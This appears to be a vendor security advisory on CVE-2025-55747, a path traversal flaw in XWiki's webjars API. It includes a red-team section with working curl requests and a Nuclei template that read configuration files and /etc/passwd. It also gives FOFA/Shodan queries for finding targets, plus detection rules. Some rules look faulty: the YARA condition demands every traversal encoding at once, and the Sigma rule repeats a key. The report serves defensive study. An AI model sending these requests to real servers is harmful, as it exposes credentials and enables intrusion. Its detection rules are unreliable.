CVE-2025-55747

Executive Summary

CVE-2025-55747 is a high-severity path traversal vulnerability (CWE-23) affecting XWiki Platform versions 6.1-milestone-2 through 16.10.6. The vulnerability resides in the webjars API, which improperly handles user-supplied input, allowing an unauthenticated attacker to traverse directories and read arbitrary configuration files from the server's filesystem. Successful exploitation can lead to the disclosure of sensitive configuration data, including database credentials, encryption keys, and internal network settings. The vulnerability has a CVSS score of 9.1 (Critical) and a public proof-of-concept (PoC) is available via a Nuclei template. Immediate patching to version 16.10.7 is strongly recommended.

Supply Chain & Package Security

XWiki is a Java-based platform distributed as a WAR file or via Docker images. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. The primary supply chain risk is the use of outdated or unpatched Docker images or WAR deployments. Organizations should verify they are using the latest patched version (16.10.7) and ensure their CI/CD pipelines are updated to prevent deployment of vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) - Sensitive configuration files can be read.
• Integrity Impact: High (I:H) - Exposed credentials could lead to unauthorized modifications.
• Availability Impact: None (A:N) - The vulnerability does not directly affect availability.

Threat Level: Critical. The combination of network exploitability, low complexity, no authentication, and high impact on confidentiality and integrity makes this a severe threat. The public availability of a PoC further increases the risk.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the webjars API of XWiki. The webjars API is designed to serve static resources (JavaScript, CSS, etc.) from JAR files (webjars). However, the API does not properly sanitize user-supplied path parameters, allowing an attacker to use ../ sequences to escape the intended webjars directory and access arbitrary files on the server.

The vulnerable endpoint is typically:

/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg

The wiki%3Axwiki part is a URL-encoded colon (:) used to specify a wiki context. The ..%2F sequences are URL-encoded path traversal payloads (../). The server decodes these and resolves the path, allowing access to files outside the webjars directory.

The specific file targeted in the PoC is WEB-INF/xwiki.cfg, which contains critical configuration parameters such as:

• xwiki.editcomment - Edit comment settings
• xwiki.plugins - Plugin configuration
• xwiki.encoding - Character encoding settings
• Database connection strings
• Authentication settings

An attacker can modify the path to access other sensitive files, such as:

• WEB-INF/web.xml - Deployment descriptor
• WEB-INF/xwiki.properties - Additional properties
• /etc/passwd - System user list (if the application runs with sufficient privileges)
• Application logs containing session tokens or other sensitive data

Vulnerable vs. Patched Code

The vulnerability exists in the webjars resource handler. The vulnerable code does not validate that the resolved path stays within the intended webjars directory.

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
public void serveWebjarResource(HttpServletRequest request, HttpServletResponse response) {
    String path = request.getPathInfo();
    // Directly resolves the path without checking for traversal
    Resource resource = resourceLoader.getResource("webjars/" + path);
    // ... serve the resource
}

Patched Code (Conceptual):

// Patched: Path traversal prevention
public void serveWebjarResource(HttpServletRequest request, HttpServletResponse response) {
    String path = request.getPathInfo();
    // Normalize and validate the path
    String normalizedPath = FilenameUtils.normalize(path);
    if (normalizedPath == null || normalizedPath.contains("..") || normalizedPath.startsWith("/")) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    // Ensure the path is within the webjars directory
    Resource resource = resourceLoader.getResource("webjars/" + normalizedPath);
    if (!resource.getURL().getPath().contains("/webjars/")) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    // ... serve the resource
}

The patched code normalizes the path, rejects any path containing .., and verifies that the final resolved resource is still within the webjars/ directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable XWiki instance (version 6.1-milestone-2 to 16.10.6)
• Network access to the target

Exploitation Steps:

1. Identify the target: Use Shodan or FOFA with the query app="XWIKI-Platform" to find vulnerable instances.

2. Craft the exploit request: Use the following curl command to exploit the vulnerability:

   curl -v --path-as-is "http://target.com/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg"
   

3. Analyze the response: The server will return the contents of xwiki.cfg if vulnerable. Look for sensitive parameters like database passwords, secret keys, or API tokens.

4. Expand the attack: Modify the path to access other files:

   # Access web.xml
   curl -v --path-as-is "http://target.com/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fweb.xml"
   
   # Access /etc/passwd (if the application has sufficient privileges)
   curl -v --path-as-is "http://target.com/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
   

Nuclei Template (Provided):

id: CVE-2025-55747

info:
  name: XWiki Platform - Information Disclosure
  author: Redmomn
  severity: high
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.
  impact: |
    Remote attackers can access sensitive configuration files, potentially exposing critical information.
  remediation: |
    Update to version 16.10.7 or later.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-19350
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-55747
    epss-score: 0.01474
    epss-percentile: 0.81029
    cwe-id: CWE-23
  metadata:
    verified: true
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and

Blue Team (Defensive)

Lab Setup for Detection Testing:

1. Deploy a vulnerable XWiki instance (e.g., using Docker):

   docker run -d -p 8080:8080 --name vulnerable-xwiki xwiki:16.10.6
   

2. Simulate the attack using the curl command or Nuclei template.

3. Monitor logs for the following indicators:

   • HTTP GET requests to /xwiki/webjars/ with ../ or ..%2F in the path.
   • 200 OK responses for requests to WEB-INF/ or other sensitive paths.
   • Unusual file access patterns in application logs.

Detection Rules:

• Web Server Logs: Look for requests containing webjars/ followed by ../ or URL-encoded variants.
• WAF Rules: Block requests with webjars/ and ../ in the URI.
• File Integrity Monitoring: Monitor access to WEB-INF/xwiki.cfg and other sensitive files.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg
  • Requests containing webjars/ with path traversal sequences (../, ..%2F, %2e%2e%2f)
  • Successful 200 OK responses for requests targeting WEB-INF/ or /etc/ paths

• File IOCs:

  • Unauthorized access to WEB-INF/xwiki.cfg
  • Unauthorized access to WEB-INF/web.xml
  • Unauthorized access to /etc/passwd (if accessible)

• System IOCs:

  • Unexpected outbound connections from the XWiki server (if credentials are exfiltrated)
  • Changes to configuration files after exploitation

Detection Engineering

YARA Rule

rule CVE_2025_55747_XWiki_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting XWiki webjars API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55747"
        severity = "high"
    strings:
        $traversal1 = "webjars/"
        $traversal2 = "../"
        $traversal3 = "..%2F"
        $traversal4 = "%2e%2e%2f"
        $target1 = "WEB-INF"
        $target2 = "xwiki.cfg"
        $target3 = "web.xml"
    condition:
        all of ($traversal*) and any of ($target*)
}

Sigma Rule

title: XWiki Webjars Path Traversal Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects attempts to exploit CVE-2025-55747 by accessing configuration files via path traversal in the webjars API.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55747
    - https://jira.xwiki.org/browse/XWIKI-19350
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'webjars/'
            - '../'
            - '..%2F'
            - '%2e%2e%2f'
        cs-uri-query|contains:
            - 'WEB-INF'
            - 'xwiki.cfg'
            - 'web.xml'
    condition: selection
falsepositives:
    - Legitimate use of webjars resources (unlikely with path traversal)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55747 XWiki Webjars Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/xwiki/webjars/"; http_uri; content:"../"; http_uri; nocase; content:"WEB-INF"; http_uri; nocase; reference:cve,2025-55747; reference:url,https://jira.xwiki.org/browse/XWIKI-19350; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade XWiki Platform to version 16.10.7 or later. This is the only complete fix.
2. Workaround: If immediate patching is not possible, implement a WAF rule to block requests containing webjars/ and ../ or ..%2F in the URI.
3. Restrict Access: Limit network access to the XWiki application to trusted IPs only.
4. Review Logs: Check web server and application logs for any signs of exploitation.

Long-Term Mitigations:

1. Input Validation: Ensure all user-supplied input is properly validated and sanitized, especially in file path handling.
2. Least Privilege: Run the XWiki application with the minimum necessary file system permissions.
3. Regular Updates: Subscribe to XWiki security advisories and apply patches promptly.
4. Security Scanning: Regularly scan the application with vulnerability scanners and use tools like Nuclei to test for known CVEs.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 0ECCE244D4F8B4943F18C58A] */}